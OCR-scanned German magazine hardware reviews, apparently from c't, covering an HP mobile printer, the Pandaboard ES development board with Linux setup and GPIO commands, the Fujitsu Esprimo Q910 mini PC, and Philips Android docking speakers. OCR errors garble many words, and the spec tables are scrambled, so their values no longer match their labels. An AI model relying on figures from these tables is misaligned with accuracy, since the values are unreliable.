scannen. 10 x 15-Bilder etwa zog
der Scanner schief durch, sodass
die Kopien verzerrt wurden. Zum
Scannen von Kassenzetteln hilft
nur, sie vorher auf ein A4-Blatt
aufzukleben.

Fir das Scannen mit PC-Unter-
stiitzung muss man das Gerat via
USB anschlieBen, da die Software
HP-Scan - sie arbeitet auch als
Twain-Modul - es via Bluetooth
nicht erkennt. HP Scan bietet nur
wenig Einstellungen, liefert mit
Hilfe der guten OCR aber immer-
hin durchsuchbare PDFs.

Fazit

Der Officejet 150 Mobile von HP
ist eine teure Speziallosung fir
professionelle Anwender wie Ver-
treter oder andere Reisende, die
eine komplette Bliro-EDV jeder-
zeit parat haben missen. Dann
spielen hohe Tintenkosten keine
so grof3e Rolle, zumal der HP fast
konkurrenzlos ist. Eine Kombina-
tion aus Mobildrucker und -Scan-
ner wiegt — von der komplizierte-
ren Bedienung mal abgesehen -
aber auch nicht weniger.  (rop)

Hersteller HP, www.hp.de
Druckverfahren, Tintenpatronen thermisch, 2

Aufldsung (Fotodruck) ' 4800 dpi x 1200 dpi
150-Geschwindigkeit (SW / Farbe) ' 5Seiten/min/ 3,5 Seiten/min

Papiergewichte / -zufuhr

Scanner

Schnittstellen

Abmessungen (B X T x H) / Gewicht
Treiber fiir

PictBridge / DPOF

Patronen Schwarz

Patronen Farbe

Messergebnisse und Bewertungen
Textdruck

Fotodruck max. Aufldsung

vi-

64g/m? ... 162 g/m?/ 50 Blatt Normalpapier

24 Bit Farbtiefe, 256 Graustufen, 600 dpi phys. Aufldsung

USB 2.0, Bluetooth 2.0 EDR (SPP, HCRP, Object Push, Image Push)
355cm % 19,5emx9em/3,15kg

Windows 7, Vista, XP (nur 32 Bit); Mac 0S X ab V.10.5.8

HP 337 (24 €, 4005.), XL: 338 (24 €, 4505)
HP 343 (27 €,3305.), XL: HP 344 (38 €, 560.)

Entwurf: 13 S./min / Normal: 5,5 S./min/ Optimal: 2,2 S./min
A4:7:34min /10 X 15: 2:59 min

Kopieren 10 S. SW: 2:41 min /10 S. Farbe: 4:36 min / A4-Foto: 4:00 min
Scanzeiten Ad-Foto (600 dpi): 1:34 min / Text mit OCR (300 dpi): 1:45 min
Textdruck / Grafik / Folie @@®/®/0

Fotodruck Farbe / Normalpapier / sw O/e/o

Foto-Direktdruck S]

Kopierqualitat Text / Grafik / Foto ®/0/06
Scanqualitét Foto / Text (OCR) e0/®
Lichtbesténdigkeit Foto-/ Normalpapier @@/ @®
Preis /Herstellergarantie 400 € / 1Jahr

Herstelleran abe

S
k. A. keine Angabe
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Benjamin Benz

Bastelstube

Entwicklungskit mit Smartphone-Prozessor

Mit einem ARM-Doppelkernprozessor, viel Speicher und
zahlreichen Hardware-Beschleunigern verleitet das Pandaboard

zum Traumen - etwa von der autonomen Robotersteuerung,

der Selbstbau-Multimediabox oder gar einem sparsamen PC-Ersatz.

as Herzstiick des Panda-

board ES bildet der OMAP-
4460-Prozessor mit zwei Cortex-
A9-Kernen von ARM und 1,2 GHz
Taktfrequenz. Der OMAP4 kommt
sonst in Smartphones wie dem
Galaxy Nexus zum Einsatz und
rechnet schneller als der A5X im
iPad 3, bleibt aber in puncto 3D-
Leistung dahinter zurlick. Die
Wiedergabe und Aufnahme von
Full-HD-Videos sowie die Audio-
verarbeitung und die Aufberei-
tung von Standbildern tberneh-
men beim OMAP4460 Hardware-
Beschleuniger und entlasten
damit die beiden CPU-Kerne.
1 GByte Arbeitsspeicher, ein kom-
biniertes WLAN-/Bluetooth-Funk-
modul, zwei HDMI-Ports, USB-
Buchsen (Host und Device) sowie
Fast Ethernet runden die Ausstat-
tung ab. Nur Flash-Speicher
bringt das Pandaboard nicht mit,
den muss man in Form einer
SD(HCQ)-Speicherkarte nachriis-
ten. SATA ist nicht vorgesehen. Ei-
gene Schaltungen lassen sich
Uiber I/0-Pins anbinden, fiir LC-
Displays und (spezielle) Ka-
meramodule gibt es separate
Ports. Praktikabler durfte fur den
Hobby-Bastler aber der Anschluss
von Webcam und Co. per USB
sein.

Auf dem Papier oder genauer
gesagt im Pandaboard-Wiki und
der Omappedia (siehe c't-Link
am Ende des Artikels) macht
auch die Software einen reifen
Eindruck: Dort stehen diverse
vorgefertigte Linux-Distributio-
nen als Images zum Download
bereit; unter anderem Android,
Angstrom und Ubuntu, zum Teil
sogar in unterschiedlichen Ver-
sionen. Um Gentoo, MeeGo und
weitere bemihen sich ,Commu-
nity-Projects”, auch OpenSuse
und Fedora wollen mitspielen.

Wir wollten wissen, wie nah
der Traum vom ARM-PC mit
Linux der Realitét kommt und
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haben uns die neueste und leis-
tungsfahigste Ausgabe ,ES” des
Pandaboards beschafft. Geliefert
wurde das 169 Euro teure Platin-
chen nackt, sprich ohne Kabel,
Funkantenne und Netzteil. Mini-
USB- und RS-232-Kabel durfte
der ein oder andere in seiner
Bastelkiste finden oder zunachst
sogar ohne auskommen. Auch
eine Funkantenne tut erst einmal
nicht not - sofern das WLAN-Sig-
nal stark genug ist, denn das
Funkmodul enthdlt bereits eine
kleine Chipantenne. Fur groBere
Reichweiten respektive mehr Da-
tendurchsatz braucht man aller-
dings ein Adapterkabel, denn das
fest eingel6tete Funkmodul bie-
tet nur einen U.FL-Verbinder,
wahrend die bei WLAN-Routern
Ublichen Antennen RP-SMA nut-
zen. Auch auf ein Netzteil mit
5 Volt Gleichspannung kann man
verzichten, wenn das Board per
Micro-USB Strom bekommt. Letz-
teres klappte in unseren Tests
nicht gut, weil das Pandaboard
unter Volllast mit 1,2 A viel mehr
Strom zog, als USB erlaubt.

Wer sich nicht selber auf die
Suche nach passendem Zube-
hor, einem Gehduse oder gar
einem LC-Display fir die Touch-
bedienung machen will, kann

beim deutschen Distributor Tigal
auch diverse Kits bestellen. Nor-
male Displays lassen sich per
HDMI anschlieBen, DVI-Monitore
via HDMI-Adapter.

Erstbezug

Unser erster Test mit einem ,Pre-
built Image” von Ubuntu 12.04
(Precise Pangolin Desktop) be-
gann viel versprechend, setzt
aber Linux-Kenntnisse voraus.
Denn um das Image auf die SD-
Karte zu bekommen, empfiehlt
das Wiki einen Linux-PC. Dort
packt der Kommandozeilenbe-
fehl gunzip das Image aus und
,dd” schaufelt es auf die SD-
Karte. Der dd-Befehl erfordert in
diesem Fall aus gutem Grund
Root-Rechte, denn Tippfehler
oder die Angabe eines falschen
Ziel-Device zerstoren allzu leicht
Daten auf dem PC. Es gibt zwar
auch entsprechende Kopiertools
wie ,Image Writer” fir Windows,
doch uber die schweigt sich das
Wiki aus.

Steckt man die frisch befiillte
Karte in das Pandaboard und
schaltet es ein, startet Ubuntu,
stellt noch ein paar Fragen zu
Sprache, Tastaturbelegung sowie
Benutzernamen und présentiert

dann seinen Standard-Desktop.
Doch die erste Erniichterung
folgt mit dem Start des Browser-
schwergewichts Firefox. Websei-
ten laden dhnlich langsam wie
auf einem Netbook der ersten
Generation und alles fahlt sich
zah an. Laut Anleitung fehlen
noch diverse Pakete der Serie
Lubuntu-omap4-extras”, doch
die gab es fur Ubuntu 12.04 bis
Redaktionsschluss nicht. Ohne
sie ruckeln Videos unertréaglich
und die CPU-Last bei der MP3-
Wiedergabe reicht an die 50-Pro-
zent-Marke heran. Sprich: Die
Hardware-Beschleuniger liegen
brach, wahrend die CPU-Kerne
schwitzen. Diese rechnen zusam-
men - bei optimaler Lastvertei-
lung - gerade einmal so schnell
wie ein Single-Core-Atom, und
auch der hat nicht genug
Rumms, um HD-Videos in Soft-
ware zu dekodieren.

Die erwdhnten Multimedia-
Addons gibt es zwar fur éltere
Ubuntu-Versionen, doch dort
lauern andere Probleme: Das Pre-
built-lmage von 11.10 (Desktop)
stellte in einer Endlosschleife
immer dieselben Fragen zur Ein-
richtung und das von 11.04 boo-
tet auf der ES-Version des Panda-
board nicht einmal. Nach viel Hin

Nur wenn der
Hardware-
Beschleuniger
mithilft und kein
Hintergrund-
programm stort,
spielt das
Pandaboard
HD-Videos in
ordentlicher
Qualitit ab. .
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und Her gelang es uns, die Ser-
ver-Version von Ubuntu 11.10
nachtréglich um eine grafische
Oberflache und alle Multimedia-
Pakete zu erweitern. Dafur war
allerdings zeitweise eine serielle
Terminal-Verbindung zwischen
Pandaboard und PC nétig. Aber
siehe da, Full-HD-Videos liefen
letztlich in passabler Qualitat —
sofern nicht einer der vielen Hin-
tergrundprozesse gerade auf die
Suche nach Updates ging. Im-
merhin: Bluetooth und WLAN
funktionierten — nach manueller
Installation der Treiberpakete -
auf Anhieb. Die Grafiktreiber wir-
ken indes noch nicht ausgereift,
denn gelegentlich gab es per
HDMI Bildstérungen. Der Sound-
Transport Uber das HDMI-Kabel
klappte indes fast immer.

Eigener Code

Noch mehr Zeit gekostet hat uns
allerdings der Versuch, eigene
Software flir das Pandaboard zu
Ubersetzen. Denn anders, als man
das bei einem Entwicklungssys-
tem erwarten durfte, gehort kei-
nerlei Entwicklungsumgebung
zum Lieferumfang. Auch das Wiki
hilft kaum weiter. Am einfachsten
gelingt das Kompilieren von
(eigenem) C-Code noch mit den
Kommandozeilen-Werkzeugen
direkt auf dem Pandaboard. Dort
muss man - je nach Distribution
- nur ein paar Pakete rund um die
Compiler-Sammlung gcc nachin-
stallieren und kann dann ,make”
und Co. anwerfen.

Das mag ftr ein ,Hello world”
oder mit viel Geduld auch fur fer-
tig entwickelte Software-Pakete
reichen, bei aufwendigeren eige-
nen Programmen - fir die das
Pandaboard eigentlich pradesti-
niert ist — wiinscht man sich aber
nicht nur eine schnelle CPU zum
Ubersetzen, sondern vor allem
auch eine moderne Entwick-
lungsumgebung wie Eclipse mit-
samt grafischem Debugger.

All das erfordert aber einen
leistungsstarken (x86-)PC und
eine sogenannte Cross-Toolchain.
Diese wiederum muss mit allen
Bibliotheken, Header-Files und so
weiter exakt zu der Distribution
auf dem Zielsystem passen. Die in
einigen Tutorials und Foren emp-
fohlene kostenlose Version der
Windows-Umgebung von Code-
Sourcery scheidet schon mal aus,
weil sie fur Gleitkommazahlen nur
Lsoftfp” unterstiitzt, das aktuelle
ARM-Ubuntu aber ,hardfp” vo-
raussetzt. Auch auf einem PC mit
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OpenSuse 12.1 hatten wir wenig
Freude bei der Suche nach einer
geeigneten Toolchain. Erst mit
einem eigens zu diesem Zweck
aufgesetzten Rechner mit Ubuntu
12.04 und dessen Cross-Compiler-
Paket fuhrte zum Erfolg. Installie-
ren kann man es mit dem Befehl:

apt-get install gcc-arm-linux-gnueabihf

Extrem wichtig sind dabei die
letzten beiden Buchstaben des
Paketnamens, denn die geben
an, dass die Hard-Float-Bibliothe-
ken zum Einsatz kommen. Soft-
Float-Programme sturzen auf
dem Pandaboard mit Ubuntu
11.10 und 12.04 ab. Um eine Inte-
gration in Eclipse oder eine ande-
re Entwicklungsumgebung muss
man sich dann aber noch selbst
ktimmern. Wer will, kann dazu im
Wiki des c't-Bot-Projektes spicken
(Stichwort Beagleboard).

Von unserem urspriinglichen
Plan, selbst die Multimedia-Be-
schleuniger oder gar die Hard-
ware-Gesichtserkennung anzu-
sprechen, haben wir nach dieser
Installationsarie Abstand ge-
nommen - ein paar Hinweise,
was dazu noch alles nétig ware,
zeigt der Entwickler Andrew
Sobol auf seiner Homepage
(siehe c't-Link).

Wir haben uns unterdessen
an den I/O-Pins des Panda-
boards versucht. Die GPIO-
Schnittstelle des Linux-Kernels
macht sie Uber das Dateisystem
zuganglich. Fur ein paar erste
Tests wechselt man zunéchst (als
root) in das Verzeichnis /sys/
class/gpio und schreibt dann in
die Datei ,,export”, auf welchen
Pin man zugreifen mochte. Also
etwa:

«d /sys/class/gpio
echo "140" > export

Sofort blendet der Kernel fir den
I/0-Pin mit der Nummer 140 ein
passendes Unterverzeichnis ein.
Nachdem man ,out” in die Datei
,direction” geschrieben hat, fun-
giert der Pin als Ausgang. Der In-
halt von ,value” entscheidet
Uber den Spannungspegel:

cd gpio140

echo "out" > direction
echo "0" > value
echo "1" > value

Das Ergebnis kann man mit
einem Multimeter zwischen Pin 4
(GP10140) und 28 (GND) des Er-
weiterungsports J3 beobachten.
Analog dazu steht in der Datei
wvalue”, welcher Pegel an dem
Pin anliegt, wenn man zuvor ,in”
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Weil der Linux-Kernel die I/0-Pins liber das Dateisystem
zuganglich macht, reichen ein paar Kommandozeilenbefehle,

um eine LED blinken zu lassen.

nach ,direction” schreibt. Nicht
mehr benétigte Pins meldet ein
Schreibzugriff auf die Datei /sys/
class/gpio/unexport wieder ab.

Sobald die wéhrend des Boot-
vorgangs von uboot respektive
x-loader getroffenen Voreinstel-
lungen nicht passen, wird es
komplizierter. Dann muss man
nachtréglich Pull-up- und -down-
Widerstande umkonfigurieren
oder gar das sogenannte Multi-
plexing der Pins veréndern. Letz-
teres legt fest, welche Funktion
ein Pin gerade erfillt - etwa ob
er als Teil einer Schnittstelle oder
als I/0-Pin arbeitet.

Dazu gilt es, zuerst anhand
des Datenblattes den primdren
Namen des Pins ausfindig zu ma-
chen. So kennt der Linux-Kernel
den I/O-Pin 140 unter dem
Namen mcspil_cs3. Der Befehl:

cat /sys/kernel/debug/omap_mux/ 7
mespil_cs3

zeigt die aktuellen Einstellungen
an. Letztlich entscheidend ist die
Hexadezimalzahl, die in der
Klammer hinter dem Gleichheits-
zeichen steht. Bit 5 legt dabei
fest, ob es sich um Ein- (1) oder
Ausgang (0) handelt. Bit 3 und 4
konfigurieren die Pull-up- und
down-Widerstande und die un-
tersten drei Bit legen die Be-
triebsart (Mode) fest. In welchem
+Mode” welcher Pin welche Auf-
gabe erfillt und wie er auf dem
Pandaboard verdrahtet ist, muss
man sich aus diversen Daten-
blattern zusammensuchen.

Fazit

Ein sparsamer ARM-Prozessor mit
einer beliebigen Standard-Linux-
Distribution als PC-Killer bleibt
vorerst ein Wunschtraum. In die-
sem Punkt bestdtigt auch das
vergleichsweise schnelle Panda-
board den Eindruck, den auch
anderen Embedded-Plattformen
wie Rasberry Pi oder Carambola
bei uns hinterlassen haben. Der
Grund dafir liegt nur zum Teil

bei der im Vergleich zum PC
langsamen Hardware, sondern
vor allem bei der Software. Denn
die kleinen Prozessoren kénnen
nur dann auftrumpfen, wenn sie
moglichst viel Arbeit auf Hard-
ware-Beschleuniger auslagern.
Wie das geht, beweist Apple mit
iOS. Sobald aber eine schlecht
angepasste Linux-Distribution in
Ermangelung von Treibern,
Codecs oder Lizenzen anfangt,
die Arbeit der CPU aufzuhalsen,
muss der Benutzer warten.

Dass es am Feinschliff der Dis-
tributionen mangelt, belegen
auch unsere Messungen mit
dem Coremark: Obwohl er im
Textmodaus lief, erzielte das Pan-
daboard ES nur 5078 Punkte,
wahrend das Galaxy Nexus mit
Android und grafischer Oberfla-
che 5957 Punkte schafft. Zum
Vergleich: Das iPad 3 liegt bei
4950 Punkten und das von der
Entwicklergemeinde mit vielen
Vorschusslorbeeren  bedachte
ARM-Platinchen Raspberry Pi bei
1371 Punkten.

Wer allerdings eine potente
Plattform flir ein Roboter-Projekt
oder Ahnliches sucht und nicht
schon wahrend der Installation
der Cross-Toolchain die Flinte ins
Korn wirft, kdnnte am Panda-
board viel Spa8 haben. Aller-
dings sollte man einiges an Zeit
einplanen, um sich aus Foren,
Mailinglisten  Wiki-Eintragen,
YouTube-Videos und Datenblat-
tern die Informationshappchen
zusammenzuklauben. Immerhin
gibt es einen sehr aktiven IRC-
Kanal, in dem man auch mal di-
rekte Fragen stellen kann. (bbe)

www.ct.de/1215060
Prozessor OMAP4460 (2 x Cortex-A9,
1,2GHz)
Speicher 1GByte RAM, SD-Karten-Slot
Ports 2% USB, 2 HDMI, 1 X LAN,
1% RS-232, 2 x analog Audio
Preis / Vertrieb 169 € /Tigal ct
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Benjamin Benz

Sparwunder

Unter 10 Watt trotz Desktop-Technik

Schnell, leise und vor allem sparsam, das verspricht
Fujitsu fur den Biiro-PC Esprimo Q910 im Mac-mini-Format.
Das Bemerkenswerte daran ist allerdings, dass er nicht
etwa einen Notebook-, sondern einen Desktop-Prozessor

mit zwei Kernen verwendet.

uf den ersten Blick wirkt der

Esprimo Q910 wie einer der
vielen Versuche, Apples Mac
mini nachzubauen. Doch der
Eindruck tauscht. Erstens soll der
Q910 in den Buros groBer Fir-
men als Teil einer zentral admi-
nistrierten IT-Infrastruktur und
nicht etwa bei Privatleuten
Dienst tun. Zweitens setzt er
trotz des geringen Gehausevolu-
mens auf klassische Desktop-
Technik von Intel.

Der Core i5-3470T stammt aus
Intels aktueller lvy-Bridge-Familie,
allerdings aus deren 35-Watt-
Zweig — wie das T im Namen an-
deutet. Doch die Namensahnlich-
keit zum reguldren Core i5-3470
tduscht, denn das T-Modell hat
nur zwei statt vier Kerne und
einen Nominaltakt von 2,9 statt
3,2 GHz. Dass beide CPUs im
Turbo-Modus biszu 3,6 GHz errei-
chen, bedeutet wenig, denn Intel
setzt die Turbo-Stufen anders.

Nichtsdestotrotz steht der
Esprimo Q910 mit 3,15 Punkten
im Cinebench besser da als die
meisten Mobil-Chips. Den Mac
mini mit 2,3-GHz-Dual-Core (2,55
Punkte) schlagt er locker, kommt
aber nicht an Apples Mini-
Flaggschiff mit 2-GHz-Quad-
Core (4,48 Punkte) heran.

Bestlickungsoptionen  mit
Quad-Core bietet Fujitsu (derzeit)
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nicht an, weil bereits der kleinste
Desktop-Vierkerner mit 45 Watt
TDP das Kuhlsystem tUberfordern
wirde. Schon beim 35-Watt-Chip
heult der 4-cm-Lufter des Espri-
mo Q910 unter Dauer-Volllast
mit 3,3 Sone und die CPU muss
trotzdem immer wieder den
Turbo-Modus verlassen, um nicht
zu Uberhitzen. Unter realistische-
ren Testbedingungen - etwa
wahrend eines BAPCo-SYSmark-
Laufes — macht der Rechner aber
nur gelegentlich auf sich auf-
merksam. Véllig lautlos arbeitet
der Q910 indes im Buro-Alltag
mit Excel, Firefox, Word und Co.
und erfillt dann auch das Werbe-
versprechen ,Zero Noise”. Der
Lufter steht still und die SSD gibt
ohnehin keinen Mucks von sich.
Noch mehr beeindruckt aller-
dings die elektrische Leistungs-
aufnahme: Im Leerlauf bleibt der
Rechner knapp unterhalb der
Marke von 10 Watt, selbst unter
Volllast sind es nicht mehr als 52
Watt. Zum Vergleich: Der Mac
mini schluckt trotz langsamerer
Mobiltechnik zwischen 14,3
(Leerlauf) und 57 Watt (Voll-
last) [1]. Der winzige Fit-PC3 [2]
begniigt sich im Leerlauf zwar
mit nur 8,2 Watt, liefert aber nur
ein Achtel der Performance.
Hauptverantwortlich flr die
rekordverdachtig niedrige Leis-

tungsaufnahme zeichnet das
sehr effiziente Netzteil, das Fujit-
su direkt auf die Hauptplatine
gelotet hat. Gut gefallen hat uns
auch, dass es mit einem zweipo-
ligen Kleingerdtestecker aus-
kommt, fir den Amerikaner ub-
rigens den eingangigen Namen
.Shotgun Connector” verwen-
den.

Wer angesichts solcher Werte
von einer niedrigen Stromrech-
nung traumt, sollte den hohen
Anschaffungspreis nicht aus den
Augen verlieren: Los geht es ab
899 Euro, das getestete Modell
mit 128-GByte-SSD und Blu-ray-
Brenner schlagt mit 1327 Euro zu
Buche. Schuld daran sind in ers-
ter Linie Funktionen, die letztlich
nur GroB3firmen brauchen. So un-
terstitzt der Q77-Chipsatz Fern-
wartung (AMT) und das Gesamt-
system vPro - beides lasst sich
Intel gut bezahlen. Auch das vor-
installierte Windows 7 Professio-
nal und der DisplayPort passen
in dieses Bild. Nicht mit an Bord
sind indes HDMI- oder SPDIF-An-
schlisse fur die Verbindung zu
einer Heimkinoanlage.

Administratoren, die sich um
Hunderte PCs kimmern mussen,
profitieren auch davon, dass -
dank Desktop-Technik — auf dem
Mini-PC exakt dasselbe Betriebs-
system-lmage funktioniert wie

Ein Plastikkafig um das integrierte und
sehr effiziente Netzteil schiitzt
vor Stromschlagen.

Im Inneren des Esprimo

Q910 geht es eng zu.

Trotzdem kommt man auch

ohne Schraubendreher leicht an

die 2,5"-SSD, den Arbeitsspeicher und

das optische Laufwerk (andere Seite) heran.

auf seinen gréBeren Geschwis-
tern (Stichwort: ,Stable Image”).

Fazit

Mit dem in Deutschland entwi-
ckelten und gefertigten Esprimo
Q910 zeigt Fujitsu, dass man
auch mit Desktop-Technik einen
kompakten und sparsamen PC
bauen kann. Bei alltdglichen Bu-
roaufgaben bleibt er zudem un-
horbar. Ruft man allerdings die
volle Rechenleistung fiir mehr
als ein paar Sekunden ab, racht
sich die Physik: Rund 50 Watt
Abwédrme lassen sich nicht ohne
Aufwand - sprich Lufterlarm -
aus dem kleinen Gehduse ab-
fuhren. Doch der Mac mini zeigt,
dass es auch bei noch hoherer
Leistungsaufnahme leiser geht.
Wer also seinen PC mit aufwen-
digen Finanzkalkulationen oder
Compiler-Ldufen  beschéftigt,
sollte aus Ruicksicht auf die Kol-
legen im Biro zu einem Gerdt
mit mehr Gehdusevolumen grei-
fen. Dort passen dann auch
gleich Quad-Cores und schnelle
Grafikkarten hinein. Fir Textver-
arbeitung, Tabellenkalkulation,
Mailverkehr und Co. ist der
Esprimo Q910 aber eine gute
Wahl.

Schade bloB, dass Fujitsu mit
dem Q910 nur Biro-Arbeitplatze
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Hardware

(PU / Taktrate / Kerne

CPU-Fassung / -Liifter (Regelung)

RAM (Typ / Max ) /-Slots (frei)
Grafik(-speicher) / -lifter

Mainboard (Format) / Chipsatz

Slots (frei)

SSD (Typ, Kapazitat)

Optische(s) Laufwerk(e) (Typ)

Kartenleser

Einbauschachte (frei)

Sound-Interface (Chip)

Netzwerk-Interface (Chip, Anbindung) / TPM
Gehéuse (B x HX T [mm)]) /-liifter (geregelt)
Netzteil(-liifter)

Anschliisse hinten

Anschliisse vorn

Reset-Taster / 230-V-Hauptschalter /
Kensington-Lock

Elektrische Leistungsaufnahme
Soft-0ff / Standby / Leerlauf
Volllast: CPU / CPU und Grafik

Serial-ATA-Modus / NX / VT
AMT / USB-Ports einzeln abschaltbar / TPM
Wake on LAN S3 / Wake on LAN S5

USB: 5V in S5/ Wecken per USB-Tastatur aus S3
(Wecken per USB-Tastatur aus S5)

Booten USB-DVD-ROM/ Booten USB-Stick
Bootdauer

Dual-Link-DVI / 2. Audiostrom /
Audio via HDMI / Displayport

Datentransfer-Messun en

USB 2.0/ USB 3.0: Lesen (Schreiben)
SSD: Lesen (Schreiben)

LAN: Empfangen (Senden)

SDHC- / SDXC-Card Lesen (Schreiben)
Gerauschentwicklun

Leerlauf / Volllast (Note)

Festplatte / Brenner (Note)
Systemleistung

BAPCo SYSmark 2012: [Sysmark] /
Cinebench R11.5: Multi-Core

3DMark Vantage: Performance /
3DMark 11: Performance

Bewertung

Systemleistung Office / Spiele / Gesamt

Audio: Wiedergabe / Aufnahme / Front

Gerauschentwicklung / Systemaufbau
ang

Tastatur / Maus

Betriebssystem / Anwendungs-Software

Preis (davon Versandkosten)

Prifstand | Mini-PC

Core /2,9GHz

LGA1155/n.v.

4 GByte (P(3-12800 / 16 GByte) / 2 x SO-DIMM (0)
onboard (shared) /n.v.

D3183-A1(0EM) / Q77

1 PCle Mini Card (1)

Micron C400-MTFDDAC128MAM (SATA-6G, 128 MByte)
Optiarc BD-5850H (BluRay-Brenner)

SD, MMC, MS Duo

1% 2,5" (0), 1 x Slimline-Laufwerk (0)

HDA ((X20642)

1000 MBit/s (82579 LM, PHY) /1.2

Mini-PC (184 X 60  187) / 40 mm (v/)

65 Wattintern (—)

1 per Adapter X VGA, 1 DVI, 1 x DisplayPort, 2 x
USB 2.0, 2 x USB 3.0, 2 x analog Audio, 1 LAN,
Power-In (Kleingeratestecker)

2xUSB3.0

nv./n.v./
v

03W/1,0W/9,9W
BW/52W

v [V [ gesetzt

AHCI / enabled / enabled
v /enabled / enabled
vi-

viivivy

175
=/nv./nv./v

33(25) /284 (227) MByte/s
330 (177) MByte/s

117 (117) MByte/s

28(23) /30 (23) MByte/s

< 0,1 Sone (@@®) /3,3 Sone (©O)
< 0,1 Sone (@@®) /0,5 Sone (@)

126/
315

1867/
399

®/00/®
®@/@/n.v.

viv
Windows 7 Professional (64 Bit) / Cyperlink PowerDVD
1397 €

' primarseitig gemessen, also inkl. Netzteil, Festplatte, VD 2erfordert BIOS-Einstellungen

@@ sehrqut @ qut O zufriedenstellend

v funktioniert - funktioniert nicht

groBBer Firmen anpeilt. Ohne
Fernwartungsoption, daflr aber
ein paar Euro billiger, wére der
Q910 ein toller PC fuir den heimi-
schen Arbeitsplatz. Ein paar zu-
satzliche Schnittstellen wirden
ihn sogar als Multimediazentrale
im Wohnzimmer empfehlen. Wir
sind jedenfalls gespannt auf sei-
nen kleinen Bruder Q510. (bbe)
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Prifstand | Android-Lautsprecher

Alexander Spier

Droiden-Basis

Docking-Lautsprecher fiir Android

Die Vielfalt der Smartphones und Tablets mit
Android macht die Entwicklung von Zubehor schwierig.
Philips hat fiir seine Lautsprecher dennoch einige

clevere Lésungen gefunden.

ur iPhone und iPad gibt es

Hunderte von Docking-Sta-
tionen mit Lautsprechern, flir
Android-Smartphones und -Tab-
lets bislang jedoch kaum welche.
Denn die micro-USB-Buchse
liegt bei fast jedem Gerdt an
einer anderen Stelle. Bei den drei
Docking-Lautsprechern von Phi-
lips |6st ein beweglicher USB-
Stecker das Problem: Er ist an-
ders als die Anschlisse fir
Apple-Gerate nicht fest einge-
baut, sondern lasst sich nach
links und rechts verschieben
sowie um 180° drehen. Daneben
befinden sich zwei in der Hohe
verstellbare Stempel, die dem
eingedockten Gerat zusatzlichen
Halt geben - das funktionierte
im Test recht gut.

Schweren Geraten, die den
Anschluss nicht in der Nahe des
Schwerpunkts haben, geben die

64

Sockel jedoch keinen ausrei-
chenden Halt. Abhilfe schafft
eine aufsteckbare Verlangerung
der Auflageflache, die unseren
Testgeraten nicht beilag, laut
Philips aber mitgeliefert wird.
Hat man die richtige Einstellung
gefunden, sitzen die meisten Ge-
rate sicher. An die Standfestig-
keit des breiteren Apple-An-
schlusses kommt die Micro-USB-
Losung jedoch nicht heran und
auch das AnschlieBen erwies
sich durchweg als fummeliger
(siehe Video Uber den Link am
Endedes Artikels).

Will man nur Musik héren,
muss man die Gerate aber auch
gar nicht per USB anschlieBen.
Die Philips-Lautsprecher laden
via USB namlich nur den Akku,
Musik zapfen sie per Bluetooth
ab. Die Erkennung klappte mit
Android 2.3 und 4.0 problemlos,

und auch andere bluetoothfahi-
ge Gerédte konnten die Lautspre-
cher ansprechen, unabhéngig
vom Betriebssystem.

Drei Grof3en

Der AS111/12 ist der kleinste
und glinstigste Docking-Laut-
sprecher im Test und eignet sich
mit dimmbarer Uhr und Nacht-
licht furs Schlafzimmer. Der mitt-
lere AS351/12 und der grof3e
AS851/10 sind als reine Laut-
sprecher ohne Display konzipiert
und haben einen Klinken-Ein-
gang und einen USB-Anschluss,
an dem sich ein weiteres Gerat
aufladen ldsst. Der AS351 lasst
sich mit Batterien betreiben,
dann wird jedoch das ange-
schlossene Gerat nicht geladen.

Die gut verarbeiteten Gerdte
haben einen Power-Knopf und
eine Lautstarkeregelung. Beim
AS851 liefert Philips auch eine
Fernbedienung mit Tasten fir
Lautstarke, Wiedergabe und
Web-Radio mit. Alle anderen
Funktionen wie Klangeinstellung
und Wecker steuert man mit
einer Android-App: der Fidelio-
App fir Android, die es kostenlos
im Play Store gibt.

Bluetooth-Automatik

Die App vereinfacht die Blue-
tooth-Verbindungsaufnahme
zwischen Smartphone und Laut-

sprecher. Erkennt sie, dass ein
USB-Kabel angeschlossen wurde,
versucht sie, sich mit einem
Lautsprecher zu verbinden und
aktiviert dafur auch Bluetooth.
Steckt man das Gerat ab, wird
der vorherige Zustand wieder-
hergestellt. Allerdings erkennt
die Software nicht, ob tatsach-
lich der Docking-Lautsprecher
oder nur ein Ladegerdt ange-
schlossen wurde und versucht
stets, sich mit dem Lautsprecher
zu verbinden. Immerhin lasst
sich die Automatik abschalten.

Ansonsten bietet die App nur
wenige Funktionen: Man kann
Webradio héren, sich das Wetter
anzeigen lassen, die Klangein-
stellungen der Docking-Laut-
sprecher verandern und einen
Wecker stellen.

Trotz des geringen Funk-
tionsumfangs ist die Bedienung
ziemlich  kompliziert. Philips
hat kein schlissiges Bedienkon-
zept verwirklicht, zum Beispiel
findet sich manchmal innerhalb
der App ein ,Zurlck"-Pfeil,
manchmal muss man ‘stattdes-
sen die Android-Taste fur ,,Zu-
ruck” dricken. AuBerdem befin-
den sich die Einstellungen fur
Bluetooth, Uhr, Wecker und
Klang an verschiedenen Orten.
Dadurch verlangt Philips dem
Nutzer einiges an Eingewoh-
nungszeit ab.

Fir die Kernaufgabe, das Ab-
spielen von Musik, verweist
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Philips stellt eine kosten-
lose App bereit, die die
Bluetooth-Verbindungs-
aufnahme zu den Laut-
sprechern erleichtert ...

Fidelio auf die App Songbird,
die man separat aus dem
Google Play Store herunterla-
den muss.

Im Test meldete Android ge-
legentlich den Absturz von Fide-
lio, die App setzte ihre Arbeit da-
nach aber problemlos fort. Es las-
sen sich auch andere Musik- und
Wecker-Apps nutzen, dann muss
man die Bluetooth-Verbindung
selbst herstellen.

Dezente bis
libertriebene Basse

Der AS111 als kleinster Vertreter
im Test ist erwartungsgemal
kein Klangwunder, er reicht, um
sich vor dem Einschlafen berie-
seln zu lassen. Basse fehlen ihm
fast vollig, der Klang wirkt aber
weder blechern, noch verzerrt er
bei hoheren Lautstarken. Etwas
besser und vor allem lauter ist
der AS351. Hier lassen sich auch

Modell

Lieferumfang

MaBe (BxHXT)

Gewicht

Display / Licht vIv
autsprecher / Leistung' 1/4W
USB-Stecker / -Buchse /AUX-In v / =/ =
Preis (Strale) 65€

"Herstellerangaben
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... sowie eine Weckfunktion
und Zugriff auf Webradios
bietet. Optik und Bedienung
sind allerdings gewdhnungs-
bedirftig.

dezente Basse vernehmen. Der
Klang ist insgesamt etwas ausge-
wogener, HiFi-Qualitat  flrs
Wohnzimmer darf man aber
nicht erwarten.

Fur mehr als nur nebenbei
